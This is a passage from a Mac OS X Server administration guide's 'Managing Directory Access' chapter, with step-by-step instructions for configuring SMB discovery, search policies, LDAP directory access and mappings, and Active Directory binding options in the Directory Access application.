Apply. Rendezvous does not require configuration. Enabling or Disabling SLP Service Discovery You can use Directory Access to enable or disable the discovery of services that use Service Location Protocol (SLP) to make themselves known on the network. SLP is an open standard for discovering file and print services on Internet Protocol (IP) networks. To enable or disable SLP service discovery: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Click the checkbox next to SLP and click Apply. SLP does not require configuration. Enabling or Disabling SMB Service Discovery You can use Directory Access to enable or disable the discovery of services that use Server Message Block (SMB) to make themselves known on the network. SMB is a protocol used by Microsoft Windows for file and print services. To enable or disable SMB service discovery: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Click the checkbox next to SMB and click Apply. For configuration instructions, see “Configuring SMB Service Discovery” on page 87. LL2352.Book Page 86 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 87 Configuring SMB Service Discovery You can configure how Mac OS X uses the Server Message Block (SMB) protocol to discover Windows file servers on the network. You can use the Directory Access application to specify the following: • The Windows workgroup that the computer is a member of • A Windows Internet Naming Service (WINS) server on the network To configure discovery of Windows SMB file servers: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select SMB in the list of services, then click Configure. 4 In the Workgroup field, type a workgroup name or select one from the drop-down list. The drop-down list includes the names of Windows workgroups that other computers on the network are members of. 5 Enter the DNS name or IP address of a WINS server that provides NetBIOS name resolution for the network, then click OK. A WINS Server resolves Windows computer names to IP addresses on a network with routers and multiple subnets. If the network does not have a WINS server, leave the WINS Server field blank. Setting Up the Authentication and Contacts Search Policies Directory Access defines an authentication search policy and a contacts search policy. • Mac OS X uses the authentication search policy to locate and retrieve user authentication information and other administrative data from directory domains. • Mac OS X uses the contacts search policy to locate and retrieve name, address, and other contact information from directory domains. Mac OS X Address Book uses this contact information, and other applications can be programmed to use it as well. Each search policy consists of a list of directory domains (also known as directory nodes). The order of directory domains in the list defines the search policy. Starting at the top of the list, Mac OS X searches each listed directory domain in turn until it either finds the information it needs or reaches the end of the list without finding the information. LL2352.Book Page 87 Friday, August 22, 2003 3:12 PM 88 Chapter 7 Managing Directory Access Each search policy, authentication and contacts, can be set to Automatic, Local directory, or Custom path. • Automatic starts with the local directory domain and can include an LDAP directory supplied automatically by DHCP and NetInfo domains to which the computer is bound. An automatic search policy is the default setting for Mac OS X version 10.2 and later and offers the most flexibility for mobile computers. • Local directory includes only the local directory domain. • Custom path starts with the local directory domain and includes your choice of LDAP directories, an Active Directory domain, NetInfo domains, BSD configuration files, and an NIS domain. Defining Automatic Search Policies Using Directory Access, you can configure a Mac OS X computer’s authentication and contacts search policies to be defined automatically. An automatically defined search policy includes the local directory domain. It can also include an LDAP directory server specified by DHCP service and shared NetInfo domains to which the computer is bound. This is the default configuration for both the authentication and the contacts search policy. Note: Some applications, such as Mac OS X Mail and Address Book, can access LDAP directories directly, without using Open Directory. To set up one of these applications to access LDAP directories directly, open the application and set the appropriate preference. To have a search policy defined automatically: 1 In Directory Access, click Authentication or click Contacts. Authentication shows the search policy used for authentication and most other administrative data. Contacts shows the search policy used for contact information in applications such as Address Book. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Choose Automatic from the Search pop-up menu, then click Apply. 4 In System Preferences, make sure the computer’s Network preferences are configured to use DHCP or DHCP with manual IP address. 5 If you want the DHCP service of Mac OS X Server to supply its clients with a particular LDAP server’s address for their automatic search policies, you need to configure the LDAP options of DHCP service. For instructions, see the DHCP chapter of the network services administration guide. LL2352.Book Page 88 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 89 Defining Custom Search Policies Using Directory Access, you can configure a Mac OS X computer’s authentication and contacts search policies to use a custom list of directory domains. A custom list starts with the computer’s local directory domain and you can also include Open Directory and other LDAP directory domains, an Active Directory domain, shared NetInfo domains, BSD configuration files, and an NIS domain. Note: Make sure the computer has been configured to access the LDAP directories, Active Directory domain, NetInfo domains, and NIS domain that you want to add to the search policy. For instructions, see the subsequent sections of this chapter. To specify a custom list of directory domains for a search policy: 1 In Directory Access, click the Authentication or click Contacts. Authentication shows the search policy used for authentication and most other administrative data. Contacts shows the search policy used for contact information in applications such as Address Book. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Choose “Custom path” from the Search pop-up menu. 4 Add directory domains as needed. Add directory domains by clicking Add, selecting one or more directories, and clicking Add again. 5 Change the order of the listed directory domains as needed, and remove listed directory domains that you don’t want in the search policy. Move a directory domain by dragging it up or down the list. Remove a listed directory domain by selecting it and clicking Remove. 6 Click Apply. Defining Local Directory Search Policies Using Directory Access, you can configure a Mac OS X computer’s authentication and contacts search policies to use only the computer’s local directory domain. A search policy that uses only the local directory limits the access that a computer has to authentication information and other administrative data. If you restrict a computer’s authentication search policy to use only the local directory, only users with local accounts can log in. LL2352.Book Page 89 Friday, August 22, 2003 3:12 PM 90 Chapter 7 Managing Directory Access To have a search policy use only the local directory domain: 1 In Directory Access, click the Authentication or click Contacts. Authentication shows the search policy used for authentication and most other administrative data. Contacts shows the search policy used for contact information in applications such as Address Book. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Choose “Local directory” from the Search pop-up menu, then click Apply. Accessing LDAP Directories You can configure a server with Mac OS X Server or a computer with Mac OS X to access specific LDAP directories, including the LDAP directory of a Mac OS X Server Open Directory master. For task descriptions and instructions, see: • “Enabling or Disabling Use of a DHCP-Supplied LDAP Directory” (next) • “Showing or Hiding Options for LDAP Directories” on page 91 • “Configuring Access to an LDAP Directory” on page 92 • “Changing a Configuration for Accessing an LDAP Directory” on page 93. • “Duplicating a Configuration for Accessing an LDAP Directory” on page 93. • “Deleting a Configuration for Accessing an LDAP Directory” on page 94. • “Changing the Connection Settings for an LDAP Directory” on page 95. • “Configuring LDAP Searches and Mappings” on page 96 • “Mapping Config Record Attributes for LDAP Directories” on page 98 • “Editing RFC 2307 Mapping to Enable Creating Users” on page 98. • “Populating LDAP Directories With Data for Mac OS X” on page 100. In Mac OS X version 10.3, a single Directory Access plug-in named LDAPv3 provides access to both LDAP versions 2 and 3. The LDAPv2 plug-in of Mac OS X version 10.2 is not needed with Mac OS X version 10.3. Existing LDAPv2 configurations are automatically converted to LDAPv3 when a computer is upgraded to Mac OS X version 10.3. Note: Mac OS X Mail, Address Book and some similar applications can access LDAP directories directly, without using Open Directory. You can configure these applications to search specific LDAP directories. For instructions, open Mail and choose Help > Mail Help or open Address Book and choose Help > Address Book Help; then search for help on LDAP. LL2352.Book Page 90 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 91 Enabling or Disabling Use of a DHCP-Supplied LDAP Directory Using Directory Access, you can configure a Mac OS X computer to get the address of an LDAP directory server automatically when it starts up. Mac OS X requests the address of an LDAP directory server from the DHCP service that also supplies the computer’s IP address, router address, and DNS server addresses. Mac OS X adds the LDAP server’s address supplied by DHCP to the computer’s automatic search policy. See “Defining Automatic Search Policies” on page 88 for more information. To enable or disable automatic access to an LDAP server: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 Click “Used DHCP-supplied LDAP Server.” If you disable this setting, this computer doesn’t use an LDAP directory server supplied by DHCP. However, the computer can automatically access shared NetInfo domains. See “Accessing Legacy NetInfo Domains” on page 109 for more information. If you enable this setting, the DHCP service should be configured to supply the address of an LDAP directory server. For instructions, see the DHCP chapter of the network services administration guide. Showing or Hiding Options for LDAP Directories You can show or hide a list of available configurations for accessing LDAP directories. Each configuration specifies how Open Directory accesses a particular LDAP directory. When you show the list, you see and can change some settings for each LDAP configuration. To show or hide the available LDAP directory configurations: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 Click the Show Options control or the Hide Options control, whichever is present. LL2352.Book Page 91 Friday, August 22, 2003 3:12 PM 92 Chapter 7 Managing Directory Access Configuring Access to an LDAP Directory You can use Directory Access to create a configuration that specifies how Mac OS X accesses a particular LDAPv3 or LDAPv2 directory. To create a configuration for accessing an LDAP directory: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 If the list of LDAP directory configurations is hidden, click Show Options. 5 Click New and enter a name for the configuration. 6 Press Tab and enter the DNS name or IP address of the server that hosts the LDAP directory you want to access. 7 Click the pop-up menu next to the DNS name or IP address and choose a mapping template or choose From Server. 8 Enter the search base suffix for the LDAP directory and click OK. If you chose a template in step 7, you must enter a search base suffix, or the computer will not be able to find information in the LDAP directory. Typically, the search base suffix is derived from the server’s DNS name. For example, the search base suffix could be “dc=example, dc=com” for a server whose DNS name is server.example.com. If you chose From Server in step 7, you don’t need to enter a search base. In this case, Open Directory assumes the search base is the first level of the LDAP directory. 9 Select the SSL checkbox if you want Open Directory to use Secure Sockets Layer (SSL) for connections with the LDAP directory. If you want the computer to access the LDAP directory for which you just created a configuration, you must add the directory to a custom search policy in the Authentication or Contacts pane of Directory Access. You must also make sure LDAPv3 is enabled in the Services pane. For instructions, see “Enabling or Disabling LDAP Directory Services” on page 85 and “Defining Custom Search Policies” on page 89. Note: Before you can use Workgroup Manager to create users on a non-Apple LDAP server that uses RFC 2307 (UNIX) mappings, you must edit the mapping of the Users record type. For instructions, see “Editing RFC 2307 Mapping to Enable Creating Users” on page 98. LL2352.Book Page 92 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 93 Changing a Configuration for Accessing an LDAP Directory You can use Directory Access to change the settings of an LDAP directory configuration. The configuration settings specify how Open Directory accesses a particular LDAPv3 or LDAPv2 directory. To edit a configuration for accessing an LDAP directory: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 If the list of server configurations is hidden, click Show Options. 5 Change any of the settings displayed in the list of server configurations. Enable: Click a checkbox to enable or disable access to an LDAP directory server. Configuration Name: Double-click a configuration name to edit it. Server Name or IP Address: Double-click a server name or IP address to change it. LDAP Mapping: Choose a template from the pop-up menu, then enter the search base for the LDAP directory and click OK. If you chose a template, you must enter a search base suffix, or the computer will not be able to find information in the LDAP directory. Typically, the search base suffix is derived from the server’s DNS name. For example, the search base suffix could be “dc=example, dc=com” for a server whose DNS name is server.example.com. If you chose From Server instead of a template, you don’t need to enter a search base. In this case, Open Directory assumes the search base is the first level of the LDAP directory. SSL: Click a checkbox to enable or disable Secure Sockets Layer (SSL) connections. Duplicating a Configuration for Accessing an LDAP Directory You can use Directory Access to duplicate a configuration that specifies how Mac OS X accesses a particular LDAPv3 or LDAPv2 directory. After duplicating an LDAP directory configuration, you can change its settings to make it different from the original configuration. To duplicate a configuration for accessing an LDAP directory: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 If the list of server configurations is hidden, click Show Options. 5 Select a server configuration in the list, then click Duplicate. LL2352.Book Page 93 Friday, August 22, 2003 3:12 PM 94 Chapter 7 Managing Directory Access 6 Change any of the duplicate configuration’s settings. Enable: Click a checkbox to enable or disable access to an LDAP directory server. Configuration Name: Double-click a configuration name to edit it. Server Name or IP Address: Double-click a server name or IP address to change it. LDAP Mapping: Choose a template from the pop-up menu, then enter the search base for the LDAP directory and click OK. If you chose a template, you must enter a search base suffix, or the computer will not be able to find information in the LDAP directory. Typically, the search base suffix is derived from the server’s DNS name. For example, the search base suffix could be “dc=example, dc=com” for a server whose DNS name is server.example.com. If you chose From Server instead of a template, you don’t need to enter a search base. In this case, Open Directory assumes the search base is the first level of the LDAP directory. SSL: Click a checkbox to enable or disable Secure Sockets Layer (SSL) connections. If you want the computer to access the LDAP directory specified by the duplicate configuration you just created, you must add the directory to a custom search policy in the Authentication or Contacts pane of Directory Access. You must also make sure LDAPv3 is enabled in the Services pane. For instructions, see “Enabling or Disabling LDAP Directory Services” on page 85 and “Defining Custom Search Policies” on page 89. Deleting a Configuration for Accessing an LDAP Directory You can use Directory Access to delete a configuration that specifies how the computer accesses a particular LDAPv3 or LDAPv2 directory. To delete a configuration for accessing an LDAP directory: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 If the list of server configurations is hidden, click Show Options. 5 Select a server configuration in the list, then click Delete. LL2352.Book Page 94 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 95 Changing the Connection Settings for an LDAP Directory You can use Directory Access to change the connection settings of a configuration that specifies how the computer accesses a particular LDAPv3 or LDAPv2 directory. To change the connection settings for accessing an LDAP directory: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 If the list of server configurations is hidden, click Show Options. 5 Select a server configuration in the list, then click Edit. 6 Click Connection and change any of the settings. Configuration Name identifies this configuration in the list of LDAP directory configurations. (You can also change the name directly in the list of LDAP directory configurations.) Server Name or IP Address specifies the server’s DNS name or its IP address. (You can also change this directly in the list of LDAP directory configurations.) “Open/close times out in” specifies the number of seconds that Open Directory waits before cancelling an attempt to connect to the LDAP server. “Connection times out in” specifies the number of seconds that Open Directory allows an idle or unresponsive connection to remain open. “Use authentication when connecting” determines whether Open Directory authenticates itself as a user of the LDAP directory by supplying the Distinguished Name and Password when connecting to the directory. “Encrypt using SSL” determines whether Open Directory encrypts communications with the LDAP directory by using Secure Sockets Layer (SSL) connection. (You can also change this setting directly in the list of LDAP directory configurations.) “Use custom port” specifies a port number other than the standard port for LDAP connections (389 without SSL or 636 with SSL). LL2352.Book Page 95 Friday, August 22, 2003 3:12 PM 96 Chapter 7 Managing Directory Access Configuring LDAP Searches and Mappings Using Directory Access, you can edit the mappings, search bases, and search scopes that specify how Mac OS X finds specific data items in an LDAP directory. You can edit these settings separately for each LDAP directory configuration listed in Directory Access. Each LDAP directory configuration specifies how Mac OS X accesses data in an LDAPv3 or LDAPv2 directory. • You can edit the mapping of each Mac OS X record type to one or more LDAP object classes. • For each record type, you can also edit the mapping of Mac OS X data types, or attributes, to LDAP attributes. • You can edit the LDAP search base and search scope that determine where Mac OS X looks for a particular Mac OS X record type in an LDAP directory. Important: When mapping Mac OS X user attributes to a read/write LDAP directory domain (an LDAP domain that is not read-only), the LDAP attribute mapped to RealName must not be the same as the first attribute in a list of LDAP attributes mapped to RecordName. For example, the cn attribute must not be the first attribute mapped to RecordName if cn is also mapped to RealName. If the LDAP attribute mapped to RealName is the same as the first attribute mapped to RecordName, problems will occur when you try to edit the full (long) name or the first short name in Workgroup Manager. For detailed specifications of Mac OS X record types and attributes, see Appendix A, “Mac OS X Directory Data.” To edit the search bases and mappings for an LDAP server: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 If the list of server configurations is hidden, click Show Options. 5 Select a server configuration in the list, then click Edit. 6 Click Search & Mappings. 7 Select the mappings that you want to use as a starting point, if any. Click the “Access this LDAPv3 server using” pop-up menu and choose a mapping template to use its mappings as a starting point, or choose Custom to begin with no predefined mappings. Or click “Read from Server” to edit the mappings currently stored in the LDAP directory server whose configuration you are editing. LL2352.Book Page 96 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 97 8 Add record types and change their search bases as needed. To add record types, click the Add button below the Record Types and Attributes list. In the sheet that appears, select Record Types, select one or more record types from the list, and then click OK. To change the search base of a record type, select it in the Record Types and Attributes List. Then click the “Search base” field and edit the search base. To remove a record type, select it in the Record Types and Attributes List and click Delete. To add a mapping for a record type, select the record type in the Record Types and Attributes List. Then click the Add button below “Map to __ items in list” and enter the name of an object class from the LDAP directory. To add another LDAP object class, you can press Return and enter the name of the object class. Specify whether to use all or any of the listed LDAP object classes by using the pop-up menu above the list. To change a mapping for a record type, select the record type in the Record Types and Attributes List. Then double-click the LDAP object class that you want to change in the “Map to __ items in list” and edit it. Specify whether to use all or any of the listed LDAP object classes by using the pop-up menu above the list. To remove a mapping for a record type, select the record type in the Record Types and Attributes List. Then click the LDAP object class that you want to remove from the “Map to __ items in list” and click the Delete button below “Map to __ items in list.” 9 Add attributes and change their mappings as needed. To add attributes to a record type, select the record type in the Record Types and Attributes List. Then click the Add button below the Record Types and Attributes list. In the sheet that appears, select Attribute Types, select one or more attribute types, and then click OK. To add a mapping for an attribute, select the attribute in the Record Types and Attributes List. Then click the Add button below “Map to __ items in list” and enter the name of an attribute from the LDAP directory. To add another LDAP attribute, you can press Return and enter the name of the attribute. To change a mapping for an attribute, select the attribute in the Record Types and Attributes List. Then double-click the item that you want to change in the “Map to __ items in list” and edit the item name. To remove a mapping for an attribute, select the attribute in the Record Types and Attributes List. Then click the item that you want to remove from the “Map to __ items in list” and click the Delete button below “Map to __ items in list.” To change the order of attributes displayed in the list on the right, drag the attributes up or down in the list. LL2352.Book Page 97 Friday, August 22, 2003 3:12 PM 98 Chapter 7 Managing Directory Access 10 Click Write to Server if you want to store the mappings in the LDAP directory so that it can supply them automatically to its clients. You must enter a search base to store the mappings, a distinguished name of an administrator (for example, cn=admin,dc=example,dc=com), and a password. If you are writing mappings to an Open Directory LDAP server, the correct search base is “cn=config, <suffix>” (where <suffix> is the server’s search base suffix, such as “dc=example,dc=com”). The LDAP directory supplies its mappings to clients that are configured to use an automatic search policy. For instructions on configuring the client search policy, see “Setting Up the Authentication and Contacts Search Policies” on page 87. The LDAP directory also supplies its mappings to clients that have been configured manually to get mappings from the server. For instructions on configuring client access to the server, see “Configuring Access to an LDAP Directory” on page 92 through “Changing the Connection Settings for an LDAP Directory” on page 95. Mapping Config Record Attributes for LDAP Directories If you want to store information for managed Mac OS X users in an LDAP directory, make sure you map the following attributes of the Config record type: RealName and DataStamp. If you do not map these attributes, the following error message will be displayed when you use Workgroup Manager to change a user record that resides in the LDAP directory: The attribute with name “dsRecTypeStandard:Config” is not mapped. You can ignore this message if you are not using Mac OS X client management, which depends on the Config record type’s RealName and DataStamp attributes for a cache. Editing RFC 2307 Mapping to Enable Creating Users Before you can use Workgroup Manager to create users on a non-Apple LDAP directory server that uses RFC 2307 (UNIX) mappings, you must edit the mapping of the Users record type. You do this with the Directory Access application. To enable creating user records in an LDAP directory with RFC 2307 mappings: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select LDAPv3 in the list of services, then click Configure. 4 If the list of server configurations is hidden, click Show Options. 5 Select the directory configuration with RFC 2307 mappings, then click Edit. 6 Click Search & Mappings. 7 Select Users in the list on the left. By default, “Map to __ items in list” is set to Any and the list on the right includes posixAccount, inetOrgPerson, and shadowAccount. LL2352.Book Page 98 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 99 8 Change “Map to __ items in list” to All and change the list on the right to the exact set of LDAP object classes to which you want the Users record type mapped. For example, you could delete shadowAccount from the list so that Users maps to only posixAccount and inetOrgPerson. Or you could map Users to account, posixAccount, and shadowAccount. To change an item on the list, double-click it. To add an item to the list, click Add. To delete the selected item from the list, click Delete. To change the order of listed items, drag items up or down in the list. You can find out the object classes of existing user records in the LDAP directory by using the UNIX tool ldapsearch in a Terminal window. The following example would display the object classes for a user record whose cn attribute is “Leonardo da Vinci:” ldapsearch -x -h ldapserver.example.com -b "dc=example, dc=com" 'cn=Leonardo da Vinci' objectClass The output displayed for this example command could be something similar to the following: # Leonardo da Vinci, example.com dn: cn=Leonardo da Vinci, dc=example, dc=com objectClass: inetOrgPerson objectClass: posixAccount Preparing a Read-Only LDAP Directory for Mac OS X If you want a Mac OS X computer to get administrative data from a read-only LDAP directory, the data must exist in the read-only LDAP directory in the format required by Mac OS X. You may need to add, modify, or reorganize data in the read-only LDAP directory. Mac OS X cannot write data to a read-only LDAP directory, so you must make the necessary modifications by using tools on the server that hosts the read-only LDAP directory. To prepare a read-only LDAP directory for Mac OS X: 1 Go to the server that hosts the read-only LDAP directory and configure it to support LDAP-based authentication and password checking. 2 Modify the LDAP directory’s object classes and attributes as necessary to provide the data needed by Mac OS X. For detailed specifications of the data required by Mac OS X directory services, see Appendix A, “Mac OS X Directory Data.” LL2352.Book Page 99 Friday, August 22, 2003 3:12 PM 100 Chapter 7 Managing Directory Access Populating LDAP Directories With Data for Mac OS X After configuring access to LDAP directory domains and setting up their data mapping, you can populate them with records and data for Mac OS X. For directory domains that allow remote administration (read/write access), you can use the Workgroup Manager application, which is included with Mac OS X Server, as follows: • Identify share points and shared domains that you want to mount automatically in a user’s /Network directory (the Network globe in Finder windows). Use the Sharing module of Workgroup Manager. For instructions, see the file services administration guide. • Define user records and group records and configure their settings. Use the Accounts module of Workgroup Manager. For instructions, see the user management guide. • Define lists of computers that have the same preference settings and are available to the same users and groups. Use the Computers module of Workgroup Manager. For instructions, see the user management guide. In all cases, click the small globe icon above the list of users and choose from the pop- up menu in Workgroup Manager to open the LDAP directory domain. If the LDAP directory is not listed in the pop-up menu, choose Other from this menu to select the LDAP directory. Note: To add records and data to a read-only LDAP directory, you must use tools on the server that hosts the LDAP directory. Accessing an Active Directory Domain You can configure a server with Mac OS X Server or a computer with Mac OS X to access an Active Directory domain on a Windows 2000 or Windows 2003 server. For task descriptions and instructions, see: • “Learning About the Active Directory Plug-in” (next) • “Configuring Access to an Active Directory Domain” on page 102 • “Enabling or Disabling Active Directory Credential Caching” on page 104 • “Mapping the UID to an Active Directory Attribute” on page 105 • “Changing the Active Directory Groups That Can Administer the Computer” on page 105 • “Editing User Accounts and Other Records in Active Directory” on page 106 Alternative methods for accessing an Active Directory domain are appropriate for some networks. The alternatives include the following: • “Setting Up LDAP Access to Active Directory Domains” on page 106 LL2352.Book Page 100 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 101 Learning About the Active Directory Plug-in You can configure Mac OS X to access basic user account information in an Active Directory domain of a Windows 2000 or Windows 2003 server. What makes this possible is an Active Directory plug-in for Directory Access. This Active Directory plug-in is listed on the Services pane of Directory Access. You do not need to make any schema modifications to the Active Directory domain to get basic user account information. You may need to change the default Access Control List (ACL) of specific attributes so that computer accounts will have the ability to read the properties. The Active Directory plug-in generates all attributes required for Mac OS X authentication from standard attributes in Active Directory user accounts. The plug-in also supports Active Directory authentication policies, including password changes, expiration, and forced change. The Active Directory plug-in dynamically generates a unique user ID and a primary group ID based on the user account’s Globally Unique ID (GUID) in the Active Directory domain. The generated user ID and primary group ID are always the same for each user account even if the account is used to log in to different Mac OS X computers. Alternatively, you can force the Active Directory plug-in to map the user ID to an Active Directory attribute that you specify. When someone logs in to Mac OS X with an Active Directory user account, the Active Directory plug-in creates a home directory on the startup volume of the Mac OS X computer. The plug-in also tells Mac OS X to mount the user's Windows home directory (as specified in the Active Directory user account) to mount on the desktop as a share point. Using the Finder, the user can copy files between the Windows home directory in the Network globe and the Mac OS X home directory. Each time a user logs in to Mac OS X with an Active Directory user name and password, the Active Directory plug-in can cache the authentication credentials on the Mac OS X computer. The user can log in again on the same computer when the computer is not connected to the network. You can enable or disable caching of credentials. If the Active Directory schema has been extended to include Mac OS X record types (object classes) and attributes, the Active Directory plug-in automatically detects and accesses them. For example, the Active Directory schema could be modified using Windows administration tools to include Mac OS X Server managed client attributes. This schema modification would enable the Active Directory plug-in to support managed client settings made in the Preferences module of Workgroup Manager. Mac OS X clients assume full read access to attributes that are added to the directory. Therefore, it may be necessary to modify the ACL of those attributes to allow Computer accounts to read these added attributes. LL2352.Book Page 101 Friday, August 22, 2003 3:12 PM 102 Chapter 7 Managing Directory Access The Active Directory plug-in automatically discovers all domains in an Active Directory forest. You can configure the plug-in to allow users from any domain in the forest to authenticate on a Mac OS X computer. The multi-domain authentication can also be disabled to allow only specific domains to be authenticated on the client. The Active Directory plug-in fully supports Active Directory replication and failover. It discovers multiple domain controllers and determines the closest one. If a domain controller becomes unavailable, the plug-in automatically falls back to another nearby domain controller. The Active Directory plug-in uses LDAP to access the Active Directory user accounts and Kerberos to authenticate them. The Active Directory plug-in does not use Microsoft’s proprietary Active Directory Services Interface (ADSI) to get directory or authentication services. Configuring Access to an Active Directory Domain Using the Active Directory plug-in listed in Directory Access, you can configure Mac OS X to access basic user account information in an Active Directory domain on a Windows server. The Active Directory plug-in generates all attributes required for Mac OS X authentication. No changes to the Active Directory schema are required. Yet the Active Directory plug-in detects and accesses standard Mac OS X record types and attributes, such as the attributes required for Mac OS X client management, if the Active Directory schema has been extended to include them. Important: An advanced option of the Active Directory plug-in allows you to map the Mac OS X unique user ID (UID) attribute to an appropriate attribute that has been added to the Active Directory schema. If you change the setting of this mapping option at a later date, users may lose access to previously created files. To configure access to an Active Directory domain: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select Active Directory in the list of services, then click Configure. 4 Enter the DNS names of the servers that host the Active Directory forest and domain of which the computer you’re configuring will be a member. The administrator of the Active Directory domain can tell you the names of the forest and domain. If you have a single forest with a single domain, enter the same name for forest and domain. 5 Enter the Computer ID, which is the name that the computer you’re configuring has been assigned in the Active Directory domain. If you’re not sure what name to enter, ask the Active Directory domain administrator. LL2352.Book Page 102 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 103 6 Click Bind, authenticate as a user who has rights to set up a connection to the Active Directory domain, and click OK. Name and Password: You may be able to authenticate by entering the name and password of your Active Directory user account, or the Active Directory domain administrator may have to provide a name and password. OU: Enter the organizational unit (OU) for the computer you’re configuring. 7 Optionally, set the advanced options. If the advanced options are hidden, click Show Advanced Options. “Cache last user logon for offline operation”: Select this option to enable the use of offline credentials without modifying the Active Directory schema. This is considered the default setting for users logging in to the computer. An equivalent capability is provided by managed client settings in an Open Directory domain and most LDAP directory domains. If a user account has actual managed client settings, then this option is ignored. “Authenticate in multiple domains”: Select this option to allow users from any domain within the forest to authenticate on this computer. If this option is unchecked, a list of specific domains within the forest will be presented when you configure a custom Authentication search policy so that you can add domains individually to the search policy. “Prefer this domain server”: Select this option to specify the DNS name of the server whose Active Directory domain you want used by default. If the server becomes unavailable in the future, the Active Directory plug-in automatically falls back to another nearby server in the forest. If this option is unselected, the Active Directory plug-in automatically determines the closest Active Directory domain in the forest. “Map UID to attribute”: If the Active Directory schema has been extended to store a unique UID (unique user ID) for each user—usually because the Active Directory server has already been configured to support UNIX computers—you can specify the attribute that stores the UID. If this option is unselected, a UID is automatically generated based on Active Directory’s standard GUID attribute. “Allow administration by”: Select this option to specify a list of groups whose members are allowed to do administrative tasks on this computer (for example, install software). Use commas to separate group names in the list. For security, group names must be qualified by the domain name they are from (for example, ADS\Domain Admins,IL2\Domain Admins). This option is useful if you have desktop administrators who need administrative access but are not domain administrators. If you want the computer to access the Active Directory domain you just configured, you must make sure Active Directory is enabled in the Services pane. LL2352.Book Page 103 Friday, August 22, 2003 3:12 PM 104 Chapter 7 Managing Directory Access In addition, you must add the Active Directory domain to a custom search policy in the Authentication or Contacts pane of Directory Access. • If you selected “Authenticate in multiple domains” in step 7, adding the Active Directory forest to a custom Authentication search policy enables this computer to authenticate users from any domain in the forest. • If you deselected “Authenticate in multiple domains,” you can add domains individually to the search policy. For instructions, see “Enabling or Disabling Active Directory Service” on page 84 and “Defining Custom Search Policies” on page 89. Enabling or Disabling Active Directory Credential Caching Using Directory Access, you can enable or disable the use of offline authentication credentials from an Active Directory domain accessed by the Active Directory plug-in. A user with Active Directory credentials cached on a Mac OS X computer can log in while the computer is disconnected from the network. This credential caching does not require modifying the Active Directory schema. If the Active Directory schema has been extended to include Mac OS X managed client attributes, their mobile account setting will be used instead of the Active Directory plug-in’s cached account setting. To enable or disable caching of authentication credentials from an Active Directory domain: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select Active Directory in the list of services, then click Configure. 4 If the advanced options are hidden, click Show Advanced Options. 5 Click “Cache last user logon for offline operation.” Specifying a Preferred Active Directory Server Using Directory Access, you can specify the DNS name of the server whose Active Directory domain you want the Active Directory plug-in to access by default. If the server becomes unavailable in the future, the Active Directory plug-in automatically falls back to another nearby server in the forest. If this option is unselected, the Active Directory plug-in automatically determines the closest Active Directory domain in the forest. LL2352.Book Page 104 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 105 To specify a server you prefer the Active Directory plug-in to access: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select Active Directory in the list of services, then click Configure. 4 If the advanced options are hidden, click Show Advanced Options. 5 Select “Prefer this domain server” and enter the DNS name of the Active Directory server. Mapping the UID to an Active Directory Attribute Using Directory Access, you can specify an Active Directory attribute that you want the Active Directory plug-in to map to the unique user ID (UID) attribute of Mac OS X. Usually the Active Directory schema must be extended to include an attribute that’s suitable for mapping to the UID. If UID mapping is disabled, the Active Directory plug-in automatically generates a UID based on Active Directory’s standard GUID attribute. Important: If you change the mapping of the UID at a later date, users may lose access to previously created files. To map the UID to an attribute in an extended Active Directory schema: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select Active Directory in the list of services, then click Configure. 4 If the advanced options are hidden, click Show Advanced Options. 5 Select “Map UID to attribute” and enter the name of the Active Directory attribute you want mapped to the UID. Changing the Active Directory Groups That Can Administer the Computer Using Directory Access, you can grant administrator privileges to groups of user accounts accessed by the Active Directory plug-in. These Active Directory user accounts can be used to perform administrative tasks such as installing software on the Mac OS X computer that you are configuring. LL2352.Book Page 105 Friday, August 22, 2003 3:12 PM 106 Chapter 7 Managing Directory Access To specify which groups of Active Directory user accounts have administrator privileges: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Select Active Directory in the list of services, then click Configure. 4 If the advanced options are hidden, click Show Advanced Options. 5 Select “Allow administration by” and enter the names of groups. Use commas to separate group names. For security, group names must be qualified by the domain name they are from (for example, ADS\Domain 